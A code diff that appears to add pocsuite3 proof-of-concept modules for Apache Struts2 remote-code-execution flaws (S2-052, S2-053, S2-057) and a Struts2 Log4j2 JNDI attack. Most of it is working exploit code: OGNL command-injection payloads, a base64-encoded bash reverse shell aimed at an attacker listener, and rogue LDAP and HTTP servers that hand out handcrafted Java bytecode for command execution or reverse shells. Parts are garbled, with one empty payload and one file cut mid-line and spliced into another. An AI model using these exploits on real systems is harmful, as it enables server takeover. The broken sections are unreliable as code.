+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-052:影响版本Struts 2.1.2-2.3.33,2.5-2.5.12; POST请求发送数据,不需要参数;'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('', description="可执行的shell命令")
+ return o
+
+ def parse_cmd(self, cmd, type='string'):
+ """命令解析,将要执行的命令解析为字符串格式"""
+ cmd = shlex.split(cmd)
+ if type == 'string':
+ cmd_str = '"' + '","'.join(cmd) + '"'
+ elif type == 'xml':
+ cmd_str = '' + ''.join(cmd) + ''
+ else:
+ cmd_str = cmd
+ return cmd_str
+
+ def _verify(self):
+ result = {}
+ headers = {
+ "Content-Type": 'application/x-www-form-urlencoded'
+ }
+ exec_payload = """"""
+ randstr = random_str(5)
+ cmd = "echo " + randstr
+ cmd = self.parse_cmd(cmd, type='xml')
+ data = exec_payload.format(cmd=cmd)
+ html = requests.post(self.url, data=data, headers=headers).text
+ if randstr in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
new file mode 100755
index 00000000..0bd827ed
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
@@ -0,0 +1,53 @@
+import random
+from collections import OrderedDict
+
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
+from pocsuite3.lib.core.interpreter_option import OptString
+
+
+class DemoPOC(POCBase):
+ vulID = '' # ssvid
+ version = '1.0'
+ author = ['']
+ vulDate = '2029-5-8'
+ createDate = '2019-5-8'
+ updateDate = '2019-5-8'
+ references = ['']
+ name = ''
+ appPowerLink = ''
+ appName = 'struts2'
+ appVersion = ''
+ vulType = ''
+ desc = '''S2-053:影响版本Struts 2.0.1-2.3.33,2.5-2.5.10; POST请求发送数据; 默认参数为:username,password;'''
+ samples = []
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+
+ def _verify(self):
+ result = {}
+ headers = {
+ "Content-Type": 'application/x-www-form-urlencoded'
+ }
+ data = "username=test&password={exp}"
+ check_poc = "%25%7B{num1}%2B{num2}%7D"
+ num1 = random.randint(10000, 100000)
+ num2 = random.randint(10000, 100000)
+ poc = check_poc.format(num1=num1, num2=num2)
+ data = data.format(exp=poc)
+ html = requests.post(self.url, data, headers).text
+ nn = str(num1 + num2)
+ if nn in html:
+ result["VerifyInfo"] = {
+ "URL": self.url,
+ }
+ return self.parse_output(result)
+
+ def parse_output(self, result):
+ output = Output(self)
+ if result:
+ output.success(result)
+ else:
+ output.fail('target is not vulnerable')
+ return output
+
+
+register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
new file mode 100755
index 00000000..907a404c
--- /dev/null
+++ b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
@@ -0,0 +1,187 @@
+"""
+If you have issues about development, please read:
+https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
+for more about information, plz visit http://pocsuite.org
+"""
+import base64
+import random
+import re
+import urllib
+from collections import OrderedDict
+from urllib.parse import urlparse
+
+from pocsuite3.api import Output, POCBase, register_poc, logger, requests, get_listener_ip, get_listener_port
+from pocsuite3.lib.core.interpreter_option import OptString
+from pocsuite3.lib.utils import random_str
+from pocsuite3.modules.listener import REVERSE_PAYLOAD
+
+
+class DemoPOC(POCBase):
+ vulID = '97497' # ssvid
+ version = '3.0'
+ author = ['knownsec.com']
+ vulDate = '2019-2-12'
+ createDate = '2019-2-12'
+ updateDate = '2019-2-12'
+ references = ['https://www.seebug.org/vuldb/ssvid-97497']
+ name = 'Apache Struts2 s2-057'
+ appPowerLink = ''
+ appName = 'Apache Struts2'
+ appVersion = '2.3.5-2.3.34, 2.5-2.5.16'
+ vulType = 'Remote command execute'
+ suricata_request = '''http.method; content:"GET"; http.uri.raw; url_decode; url_decode; strip_whitespace; content:"${(#"; content:"@"; content:".";'''
+ suricata_response = ''''''
+ desc = '''
+ Struts2在XML配置中如果namespace值未设置且(Action Configuration)中未设置
+ 或用通配符namespace时可能会导致远程代码执行,当url标签未设置value和action值
+ 且上层动作未设置或用通配符namespace时也可能会导致远程代码执行
+ '''
+ samples = []
+ install_requires = ['']
+
+ def _options(self):
+ o = OrderedDict()
+ o["command"] = OptString('whoami', description='attack模式自定义命令', require=False)
+ return o
+
+ def expolit(self, mode='verify'):
+ result = {}
+ self.url = self.url.rstrip('/')
+
+ ognl_payloads = []
+ vuls = []
+ command = ""
+ flag = ""
+ try:
+ if mode == 'verify':
+ num_1 = random.randint(000000000, 999999999)
+ num_2 = random.randint(000000000, 999999999)
+ flag = str(num_1 + num_2)
+ ognl_payload = "%24%7B{0}+{1}%7D".format(str(num_1), str(num_2))
+
+ ognl_payloads.append(ognl_payload)
+ elif mode == 'attack' or mode == 'shell':
+ flag = random_str()
+ if mode == 'attack':
+ command = self.get_option('command')
+ else:
+ listener_ip, listener_port = get_listener_ip(), get_listener_port()
+ logger.info("your listener ip and port is: {}:{}".format(listener_ip, listener_port))
+ command = REVERSE_PAYLOAD.BASH.format(listener_ip, listener_port)
+ raw_command = command + ' && echo ' + flag
+ b64_cmd = base64.b64encode(raw_command.encode()).decode()
+ command = "bash -c {echo,%s}|{base64,-d}|{bash,-i}" % b64_cmd
+ command = urllib.parse.quote(raw_command)
+
+ ognl_payload1 = "%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context)." \
+ "(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony." \
+ "xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm))." \
+ "(%23a%3D%40java.lang.Runtime%40getRuntime().exec('{}')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D".format(
+ command)
+
+ ognl_payload2 = "%24%7B%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext." \
+ "container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.setExcludedClasses%28%27" \
+ "java.lang.Shutdown%27%29%29.%28%23ou.setExcludedPackageNames%28%27sun.reflect.%27%29%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29." \
+ "%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
+ "contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20" \
+ "java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@" \
+ "getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
+ urllib.parse.quote(raw_command.replace("%2f", "/")))
+
+ ognl_payload3 = "%24%7B%28%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23cmd%3D%27{}%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29." \
+ "contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29." \
+ "%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io." \
+ "IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D".format(
+ command)
+ ognl_payloads.append(ognl_payload1)
+ ognl_payloads.append(ognl_payload2)
+ ognl_payloads.append(ognl_payload3)
+
+ pr = urlparse(self.url)
+
+ if not pr.path.endswith('.action'):
+ resp = requests.get(self.url)
+ matchs = re.findall(r'> 8 & 255)
+ buffer.append(length & 255)
+ elif ((length & 16777215) == length):
+ buffer.append(-125 % 256)
+ buffer.append(length >> 16 & 255)
+ buffer.append(length >> 8 & 255)
+ buffer.append(length & 255)
+ else:
+ buffer.append(-124 % 256)
+ buffer.append(length >> 24 & 255)
+ buffer.append(length >> 16 & 255)
+ buffer.append(length >> 8 & 255)
+ buffer.append(length & 255)
+
+
+class ASN1OctetString(ASN1Element):
+ def __init__(self, value):
+ super().__init__(4)
+ self.type = 4
+ self.valueBytes = list(value.encode("utf-8"))
+ self.length = len(self.valueBytes)
+
+ def encode_to(self, buffer):
+ buffer.append(self.type)
+ self.encode_length_to(self.length, buffer)
+ buffer.extend(self.valueBytes)
+
+
+class ASN1BufferSet(object):
+ def __init__(self, buffer):
+ self.buffer = buffer
+ self.value_start_pos = buffer.length()
+
+ def end(self):
+ self.buffer.end_sequence_or_set(self.value_start_pos)
+
+
+class ASN1BufferSequence(object):
+ def __init__(self, buffer):
+ self.buffer = buffer
+ self.value_start_pos = buffer.length()
+
+ def end(self):
+ self.buffer.end_sequence_or_set(self.value_start_pos)
+
+
+class ASN1Buffer(object):
+ def __init__(self, max_buffer_size=1048576):
+ self.maxBufferSize = max_buffer_size
+ self.buffer = []
+
+ def get_byte_data(self):
+ return bytes(self.buffer)
+
+ def begin_sequence(self, type=48):
+ self.buffer.append(type)
+ return ASN1BufferSequence(self)
+
+ def begin_set(self, type=49):
+ self.buffer.append(type)
+ return ASN1BufferSet(self)
+
+ def add_integer(self, int_value, type=2):
+ self.buffer.append(type)
+ if (int_value < 0):
+ if ((int_value & -128) == -128):
+ self.buffer.append(1)
+ self.buffer.append(int_value & 255)
+ elif ((int_value & -32768) == -32768):
+ self.buffer.append(2)
+ self.buffer.append(int_value >> 8 & 255)
+ self.buffer.append(int_value & 255)
+ elif ((int_value & -8388608) == -8388608):
+ self.buffer.append(3)
+ self.buffer.append(int_value >> 16 & 255)
+ self.buffer.append(int_value >> 8 & 255)
+ self.buffer.append(int_value & 255)
+ else:
+ self.buffer.append(4)
+ self.buffer.append(int_value >> 24 & 255)
+ self.buffer.append(int_value >> 16 & 255)
+ self.buffer.append(int_value >> 8 & 255)
+ self.buffer.append(int_value & 255)
+ elif ((int_value & 127) == int_value):
+ self.buffer.append(1)
+ self.buffer.append(int_value & 127)
+ elif ((int_value & 32767) == int_value):
+ self.buffer.append(2)
+ self.buffer.append(int_value >> 8 & 127)
+ self.buffer.append(int_value & 255)
+ elif ((int_value & 8388607) == int_value):
+ self.buffer.append(3)
+ self.buffer.append(int_value >> 16 & 127)
+ self.buffer.append(int_value >> 8 & 255)
+ self.buffer.append(int_value & 255)
+ else:
+ self.buffer.append(4)
+ self.buffer.append(int_value >> 24 & 127)
+ self.buffer.append(int_value >> 16 & 255)
+ self.buffer.append(int_value >> 8 & 255)
+ self.buffer.append(int_value & 255)
+
+ def add_element(self, element):
+ element.encode_to(self.buffer)
+
+ def add_octet_string(self, value, type=4):
+ self.buffer.append(type)
+ if value == None:
+ self.buffer.append(0)
+ else:
+ ASN1Element.encode_length_to(len(value), self.buffer)
+ self.buffer.extend(list(value.encode("utf-8")))
+
+ def end_sequence_or_set(self, value_start_pos):
+ length = len(self.buffer) - value_start_pos
+ if (length == 0):
+ self.buffer.append(0)
+ else:
+ if ((length & 127) == length):
+ self.buffer.insert(value_start_pos, length)
+ elif ((length & 255) == length):
+ self.buffer.insert(value_start_pos, -127 % 256)
+ self.buffer.insert(value_start_pos + 1, length & 255)
+ elif ((length & 65535) == length):
+ self.buffer.insert(value_start_pos, -126 % 256)
+ self.buffer.insert(value_start_pos + 1, length >> 8 & 255)
+ self.buffer.insert(value_start_pos + 2, length & 255)
+ elif ((length & 16777215) == length):
+ self.buffer.insert(value_start_pos, -125 % 256)
+ self.buffer.insert(value_start_pos + 1, length >> 16 & 255)
+ self.buffer.insert(value_start_pos + 2, length >> 8 & 255)
+ self.buffer.insert(value_start_pos + 3, length & 255)
+ else:
+ self.buffer.insert(value_start_pos, -124 % 256)
+ self.buffer.insert(value_start_pos + 1, length >> 24 & 255)
+ self.buffer.insert(value_start_pos + 2, length >> 16 & 255)
+ self.buffer.insert(value_start_pos + 3, length >> 8 & 255)
+ self.buffer.insert(value_start_pos + 4, length & 255)
+
+ def length(self):
+ return len(self.buffer)
+
+
+class ProtocolOp(object):
+ def __init__(self, dn, attr_list):
+ self.dn = dn
+ self.attr_list = attr_list
+
+ def write_to(self, buffer):
+ op_sequence = buffer.begin_sequence(type=100)
+ buffer.add_octet_string(self.dn)
+ attr_sequence = buffer.begin_sequence()
+
+ for attr in self.attr_list:
+ attr.write_to(buffer)
+
+ attr_sequence.end()
+ op_sequence.end()
+
+
+class LdapMessage(object):
+ def __init__(self, message_id, protocol_op):
+ self.message_id = message_id
+ self.protocol_op = protocol_op
+
+ def write_to(self, buffer):
+ messageSequence = buffer.begin_sequence()
+ buffer.add_integer(self.message_id)
+ self.protocol_op.write_to(buffer)
+
+ messageSequence.end()
+
+
+class LdapRequestHandler(socketserver.BaseRequestHandler):
+ g_conn_pool = []
+ success_data = {}
+ ldap_ip = None
+ ldap_port = None
+
+ def handle(self):
+ rec_count = 0
+ while True:
+ try:
+ byte_data = self.request.recv(1024)
+ rec_count += 1
+
+ if binascii.b2a_hex(byte_data) == b'300c020101600702010304008000':
+ response_byte = bytes.fromhex("300c02010161070a010004000400")
+ self.request.sendall(response_byte)
+
+ if rec_count == 2:
+ flag = byte_data[9:9 + int(byte_data[8])].decode("utf-8", errors="ignore")
+ logger.info("Ldap receive flag: " + flag)
+ response_byte = self.get_ldap_data(flag)
+ self.request.sendall(response_byte)
+ LdapRequestHandler.success_data[flag] = True
+
+ self.request.sendall(bytes.fromhex("300c02010265070a010004000400"))
+ self.remove()
+ break
+ except:
+ self.remove()
+
+ def get_ldap_data(self, dn):
+ http_ip = HttpRequestHandler.http_ip
+ http_port = HttpRequestHandler.http_port
+
+ attr1 = Attribute("javaClassName", [ASN1OctetString("aaa")])
+ attr2 = Attribute("javaCodeBase", [ASN1OctetString("http://{}:{}/".format(http_ip, http_port))])
+ attr3 = Attribute("objectClass", [ASN1OctetString("javaNamingReference")])
+ attr4 = Attribute("javaFactory", [ASN1OctetString(dn)])
+ attr_list = [attr1, attr2, attr3, attr4]
+
+ protocol_op = ProtocolOp(dn, attr_list)
+ message_id = 2
+ ldap_message = LdapMessage(message_id, protocol_op)
+
+ buffer = ASN1Buffer()
+ ldap_message.write_to(buffer)
+ return buffer.get_byte_data()
+
+ def finish(self):
+ pass
+
+ def setup(self):
+ logger.info("receive ldap connection:{}:{}".format(self.client_address[0], self.client_address[1]))
+ LdapRequestHandler.g_conn_pool.append(self.request)
+
+ def remove(self):
+ if self.request in LdapRequestHandler.g_conn_pool:
+ LdapRequestHandler.g_conn_pool.remove(self.request)
+
+ @staticmethod
+ def check_success(flag, timeout=5):
+ start_time = time.time()
+ while time.time() - start_time <= timeout:
+ success = LdapRequestHandler.success_data.get(flag)
+ if success != None:
+ return success
+
+
+class HttpRequestHandler(BaseHTTPRequestHandler):
+ http_ip = None
+ http_port = None
+ success_data = {}
+
+ cache_class = {}
+
+ def do_GET(self):
+ status = 200
+
+ path_str = self.path
+ if path_str.startswith("/AUTO"):
+ logger.info("Http send class: " + path_str)
+ class_name = path_str.strip("/").strip().split(".")[0]
+ class_byte = HttpRequestHandler.cache_class[class_name]
+ self.send_response(status)
+ self.send_header('Content-Type', 'application/octet-stream')
+ self.send_header("Content-Length", str(len(class_byte)))
+ self.end_headers()
+ self.wfile.write(class_byte)
+
+ def general_class(self, type, command, class_name):
+ class_hex = ""
+ if type == "exec":
+ class_hex1 = "CAFEBABE000000330058010024"
+ class_hex2 = binascii.b2a_hex(class_name.encode()).decode()
+
+ class_hex3 = (
+ "0700010100106A6176612F6C616E672F4F626A6563740700030100146A6176612F696F2F53657269616C697A61626"
+ "C650700050100063C696E69743E010003282956010004436F64650C000700080A0004000A0100083C636C696E6974"
+ "3E0100106A6176612F6C616E672F537472696E6707000D0100135B4C6A6176612F6C616E672F537472696E673B070"
+ "00F0100186A6176612F6C616E672F50726F636573734275696C6465720700110100116A6176612F6C616E672F5072"
+ "6F636573730700130100116A6176612F7574696C2F5363616E6E65720700150100136A6176612F6C616E672F54687"
+ "26F7761626C6507001701000D537461636B4D61705461626C6501000B476F74204E6F7468696E6708001A01")
+
+ class_hex4 = "%04x" % len(command)
+ class_hex5 = binascii.b2a_hex(command.encode()).decode()
+ class_hex6 = ("08001C01000C6A6176612F696F2F46696C6507001E01000D736570617261746F7243686172010001430C"
+ "0020002109001F002201000776616C75654F660100152843294C6A6176612F6C616E672F537472696E67"
+ "3B0C002400250A000E00260100015C080028010006657175616C73010015284C6A6176612F6C616E672F"
+ "4F626A6563743B295A0C002A002B0A000E002C010005285B4229560C0007002E0A000E002F010015284C"
+ "6A6176612F6C616E672F537472696E673B29560C000700310A000E0032010016285B4C6A6176612F6C61"
+ "6E672F537472696E673B29560C000700340A00120035010005737461727401001528294C6A6176612F6C"
+ "616E672F50726F636573733B0C003700380A0012003901000E676574496E70757453747265616D010017"
+ "28294C6A6176612F696F2F496E70757453747265616D3B0C003B003C0A0014003D010018284C6A617661"
+ "2F696F2F496E70757453747265616D3B29560C0007003F0A001600400100025C4108004201000C757365"
+ "44656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F7574696C"
+ "2F5363616E6E65723B0C004400450A001600460100076861734E65787401000328295A0C004800490A00"
+ "16004A0100046E65787401001428294C6A6176612F6C616E672F537472696E673B0C004C004D0A001600"
+ "4E010005636C6F73650C005000080A001600510100136A6176612F6C616E672F457863657074696F6E07"
+ "00530A0054003201000A536F7572636546696C65010029")
+ class_hex7 = class_hex2
+ class_hex8 = ("2E6A6176610021000200040001000600000002000100070008000100090000001100010001000000052A"
+ "B7000BB1000000000008000C0008000100090000018C000C000A0000012AA70003014C121B4D121D4EB2"
+ "0023B800273A0419041229B6002D990009043605A70006033605150599004806BD000E5903BB000E5906"
+ "BC085903106391545904106D9154590510649154B70030535904BB000E5905BC085903102F9154590410"
+ "439154B700305359052D533A07A7007406BD000E5903BB000E591009BC085903102F9154590410629154"
+ "5905106991545906106E91545907102F9154590810629154591006106191545910071073915459100810"
+ "689154B70030535904BB000E59BB000E5905BC085903102D9154590410639154B70030B700335359052D"
+ "533A07BB0012591907B700363A06013A081906B6003A3A08BB0016591908B6003EB700411243B600473A"
+ "091909B6004B99000B1909B6004FA700042C4D1909B60052BB0054592CB70055BFBF0000000100190000"
+ "0050000803FF001F0005000507000E07000E07000E0000FC000201FB0049FD007000070010FF0037000A"
+ "000507000E07000E07000E0107001207001007001407001600004007000EFF000E000000010700180001"
+ "0056000000020057")
+ class_hex = class_hex1 + class_hex2 + class_hex3 + class_hex4 + class_hex5 + class_hex6 + class_hex7 + class_hex8
+ elif type == "reverse":
+ reverse_ip = command.split(":")[0]
+ reverse_port = int(command.split(":")[1])
+
+ class_hex1 = "CAFEBABE00000033007C010024"
+ class_hex2 = binascii.b2a_hex(class_name.encode()).decode()
+
+ class_hex3 = "0700010100106A6176612F6C616E672F4F626A65637407000301000A536F7572636546696C65010029"
+ class_hex4 = class_hex2
+
+ class_hex5 = ("2E6A61766101000273760100154C6A6176612F696F2F496E70757453747265616D3B010002747001001"
+ "64C6A6176612F696F2F4F757470757453747265616D3B0100063C696E69743E0100032829560C000B00"
+ "0C0A0004000D010004436F646501002E284C6A6176612F696F2F496E70757453747265616D3B4C6A617"
+ "6612F696F2F4F757470757453747265616D3B29560C0007000809000200110C0009000A090002001301"
+ "00146A6176612F696F2F53657269616C697A61626C650700150100106A6176612F6C616E672F5468726"
+ "561640700170A0018000D0100083C636C696E69743E01000C6A6176612F696F2F46696C6507001B0100"
+ "0D736570617261746F7243686172010001430C001D001E09001C001F0100106A6176612F6C616E672F5"
+ "37472696E6707002101000776616C75654F660100152843294C6A6176612F6C616E672F537472696E67"
+ "3B0C002300240A002200250100015C080027010006657175616C73010015284C6A6176612F6C616E672"
+ "F4F626A6563743B295A0C0029002A0A0022002B010007636D642E65786508002D0100072F62696E2F73"
+ "6808002F01000F6A6176612F6E65742F536F636B657407003101")
+
+ class_hex6 = "%04x" % len(reverse_ip)
+ class_hex7 = binascii.b2a_hex(reverse_ip.encode()).decode()
+ class_hex8 = ("080033010016284C6A6176612F6C616E672F537472696E673B4929560C000B00350A003200360100116"
+ "A6176612F6C616E672F52756E74696D6507003801000A67657452756E74696D6501001528294C6A6176"
+ "612F6C616E672F52756E74696D653B0C003A003B0A0039003C01000465786563010027284C6A6176612"
+ "F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003E003F0A003900"
+ "400100116A6176612F6C616E672F50726F6365737307004201000E676574496E70757453747265616D0"
+ "1001728294C6A6176612F696F2F496E70757453747265616D3B0C004400450A0043004601000F676574"
+ "4F757470757453747265616D01001828294C6A6176612F696F2F4F757470757453747265616D3B0C004"
+ "800490A0032004A0C000B00100A0002004C01000573746172740C004E000C0A0018004F0A003200460A"
+ "0043004A01000D537461636B4D61705461626C6501000372756E0100166A6176612F696F2F427566666"
+ "57265645265616465720700550100196A6176612F696F2F496E70757453747265616D52656164657207"
+ "0057010018284C6A6176612F696F2F496E70757453747265616D3B29560C000B00590A0058005A01001"
+ "3284C6A6176612F696F2F5265616465723B29560C000B005C0A0056005D0100166A6176612F696F2F42"
+ "7566666572656457726974657207005F01001A6A6176612F696F2F4F757470757453747265616D57726"
+ "9746572070061010019284C6A6176612F696F2F4F757470757453747265616D3B29560C000B00630A00"
+ "620064010013284C6A6176612F696F2F5772697465723B29560C000B00660A006000670100057772697"
+ "465010007285B43494929560C0069006A0A0060006B010005666C7573680C006D000C0A0060006E0100"
+ "0472656164010007285B43494929490C007000710A005600720100136A6176612F6C616E672F4578636"
+ "57074696F6E070074010005636C6F73650C0076000C0A005600770A006000770100025B4307007A0021"
+ "00020018000100160002000200070008000000020009000A000000040000000B000C0001000F0000001"
+ "100010001000000052AB70019B1000000000000000B00100001000F0000001B000200030000000F2AB7"
+ "00192A2BB500122A2CB50014B1000000000008001A000C0001000F0000008F000500060000005EA7000"
+ "3014CB20020B800264E2D1228B6002C990009122E4DA7000612304DBB003259123411")
+ class_hex9 = "%04x" % reverse_port
+ class_hex10 = ("B700373A04B8003D2CB600413A05BB0002591905B600471904B6004BB7004DB60050BB0002591904B6"
+ "00511905B60052B7004DB60050B10000000100530000001F000303FF001700040005000700220000FF"
+ "000200040005070022070022000000010054000C0001000F000000C70005000700000071014C014DBB"
+ "005659BB0058592AB40012B7005BB7005E4CBB006059BB0062592AB40014B70065B700684D112000BC"
+ "054EA7000F2C2D031504B6006C2CB6006F2B2D032DBEB6007359360403A3FFE8A700083A05A700032B"
+ "01A500072BB600782C01A500072CB60079A700083A06A70003B100020004004E005100750056006800"
+ "6B007500010053000000340008FF0033000507000207005607006007007B010000FA000BFF00110003"
+ "0700020700560700600001070075040808420700750400010005000000020006")
+ class_hex = class_hex1 + class_hex2 + class_hex3 + class_hex4 + class_hex5 + class_hex6 + class_hex7 + class_hex8 + class_hex9 + class_hex10
+
+ return class_hex
+
+ def do_POST(self):
+ status = 200
+
+ path_str = self.path
+ content_length = int(self.headers['Content-Length'])
+ post_data = self.rfile.read(content_length).decode()
+ params = parse_qs(post_data)
+ params = {key: params[key][0] for key in params}
+
+ command = params.get("command", "whoami")
+ type = params.get("type", "exec")
+
+ class_hex = ""
+ class_name = "AUTO" + hashlib.md5(random_str().encode()).hexdigest()
+ class_name = class_name.upper()
+ ret_json = {}
+ if path_str == "/commonClass":
+ class_hex = self.general_class(type, command, class_name)
+ logger.info("Genarate class {}".format(class_name))
+ ret_json['result'] = class_name
+
+ HttpRequestHandler.cache_class[class_name] = bytes.fromhex(class_hex)
+ ret_json_str = json.dumps(ret_json).encode()
+
+ self.send_response(status)
+ self.send_header('Content-Type', 'text/xml')
+ self.send_header("Content-Length", str(len(ret_json_str)))
+ self.end_headers()
+ self.wfile.write(ret_json_str)
+
+ def do_HEAD(self):
+ status = 404
+
+ if self.path.endswith('jar'):
+ status = 200
+ self.send_response(status)
+ self.send_header("Content-type", "text/html")
+ self.send_header("Content-Length", "0")
+ self.end_headers()
+
+ @staticmethod
+ def get_target_data(random_str, timeout=10):
+ start_time = time.time()
+ while time.time() - start_time <= timeout:
+ if HttpRequestHandler.success_data.get(random_str):
+ return True
+
+ @staticmethod
+ def get_usable_port():
+ for i in range(100000):
+ port = random.randint(1000, 10000)
+ s = socket.socket()
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ try:
+ s.bind(('', port))
+ except Exception:
+ continue
+ s.close()
+ return port
+
+
+class LdapThreadedTCPServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
+
+ def __init__(self, bind_ip="0.0.0.0", bind_port=667, requestHandlerClass=LdapRequestHandler):
+ self.bind_ip = bind_ip
+ self.bind_port = bind_port
+ super().__init__((bind_ip, bind_port), requestHandlerClass)
+
+ @staticmethod
+ def get_usable_port():
+ for i in range(100000):
+ port = random.randint(1000, 10000)
+ s = socket.socket()
+ s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ try:
+ s.bind(('', port))
+ except Exception:
+ continue
+ s.close()
+ return port
+
+ def start(self, daemon=True):
+ server_thread = threading.Thread(target=self.serve_forever, daemon=daemon)
+ server_thread.start()
+ logger.info("Starting ldap on: ldap://{}:{}".format(self.bind_ip, self.bind_port))
+
+
+LdapRequestHandler.ldap_ip = get_host_ip()
+LdapRequestHandler.ldap_port = LdapThreadedTCPServer.get_usable_port()
+ldap = LdapThreadedTCPServer(bind_ip=LdapRequestHandler.ldap_ip, bind_port=LdapRequestHandler.ldap_port,
+ requestHandlerClass=LdapRequestHandler)
+ldap.start(daemon=True)
+
+# 开启http服务
+HttpRequestHandler.http_ip = get_host_ip()
+HttpRequestHandler.http_port = HttpRequestHandler.get_usable_port()
+httpd = PHTTPServer(bind_ip=HttpRequestHandler.http_ip, bind_port=HttpRequestHandler.http_port,
+ requestHandler=HttpRequestHandler)
+httpd.start(daemon=True)
+
+
+class DemoPOC(POCBase):
+ vulID = ''
+ version = '1'
+ author = ''
+ vulDate = '2021-12-16'
+ createDate = '2021-12-16'
+ updateDate = '2021-12-16'
+ references = ['']
+ name = 'Apache Struts 2 Log4j2 RCE'
+ appPowerLink = 'https://struts.apache.org/'
+ appName = 'Apache Struts 2'
+ appVersion = ''
+ vulType = VUL_TYPE.CODE_EXECUTION
+ category = POC_CATEGORY.EXPLOITS.WEBAPP
+ samples = []
+ install_requires = []
+ suricata_request = ''''''
+ suricata_response = ''''''
+ dork = {}
+ desc = '''
+ Apache Struts 2 Log4j RCE
+ '''
+
+ def _rce(self):
+ flag = random_str()
+ vul_url = urljoin(self.url + "/", "$%7Bjndi:ldap:$%7B::-/%7D/{}:{}/{}%7D/".format(LdapRequestHandler.ldap_ip,
+ LdapRequestHandler.ldap_port,
+ flag))
+ try:
+ requests.get(vul_url)
+ except Exception as ex:
+ logger.error(ex)
+ return LdapRequestHandler.check_success(flag)
+
+ def _exec(self, mode, uri):
+ ret = ''
+ type_ = ''
+ command = ''
+ remote_vul_url = "http://{}:{}".format(HttpRequestHandler.http_ip, HttpRequestHandler.http_port)
+ if mode == 'shell':
+ type_ = 'reverse'
+ command = "{}:{}".format(get_listener_ip(), get_listener_port())
+ if mode == 'attack':
+ type_ = 'exec'
+ command = self.get_option("command")
+ data = {'type': type_, 'command': command}
+ if uri == '/commonClass':
+ resp = requests.post(urljoin(remote_vul_url, uri), data=data)
+ if resp.status_code == 200:
+ ret = resp.json().get('result', '')
+
+ vul_url = urljoin(self.url + "/", "$%7Bjndi:ldap:$%7B::-/%7D/{}:{}/{}%7D/".format(LdapRequestHandler.ldap_ip,
+ LdapRequestHandler.ldap_port,
+ ret))
+ try:
+ requests.get(vul_url)
+ except Exception as ex:
+ logger.error(ex)
+
+ def _verify(self):
+ result = {}
+
+ if self._rce():
